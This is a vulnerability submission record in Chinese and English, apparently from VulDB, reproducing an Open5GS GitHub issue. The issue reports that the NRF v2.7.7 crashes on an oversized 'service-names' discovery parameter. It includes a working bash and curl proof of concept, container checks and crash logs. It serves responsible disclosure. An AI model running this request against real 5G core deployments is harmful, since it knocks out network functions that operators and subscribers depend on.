提交 #808512: Open5gs NRF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

NRF crashes when the `service-names` discovery query parameter contains more
items than `OGS_SBI_MAX_NUM_OF_SERVICE_TYPE`.

The discovery query parser eventually calls:

```c
ogs_assert(discovery_option->num_of_service_names <
OGS_SBI_MAX_NUM_OF_SERVICE_TYPE);
```

which makes an oversized `service-names` query abort the process.

### Steps to reproduce

```bash
services=$(printf 'svc0')
for i in $(seq 1 80); do
services="$services,svc$i"
done

curl --http2-prior-knowledge -m 5 -sS -i --get \
'http://10.33.33.3/nnrf-disc/v1/nf-instances' \
--data-urlencode 'target-nf-type=SMF' \
--data-urlencode 'requester-nf-type=AMF' \
--data-urlencode "service-names=$services"
```

Then check:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --since 2026-04-10T17:23:40Z nrf | tail -40
```

### Logs

```shell
curl: (56) Recv failure: Connection reset by peer

exited 139 2026-04-10T17:24:00.874382302Z

04/10 17:24:00.787: [sbi] FATAL: ogs_sbi_discovery_option_add_service_names: Assertion `discovery_option->num_of_service_names < OGS_SBI_MAX_NUM_OF_SERVICE_TYPE' failed. (../lib/sbi/message.c:3625)
```

### Expected behaviour

NRF should reject oversized `service-names` input with a normal HTTP error response.

### Observed Behaviour

The connection is reset and the NRF process exits with code `139`.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• 来源: ⚠️ https://github.com/open5gs/open5gs/issues/4460
• 用户: LinJu (UID 97503)
• 提交: 2026-04-20 21時52分 (1 月前)
• 管理: 2026-05-16 12時09分 (26 days later)
• 状态: 已接受
• VulDB条目: 364318 [Open5GS 直到 2.7.7 NRF /lib/sbi/message.c service-names/snssais 拒绝服务]
• 积分: 20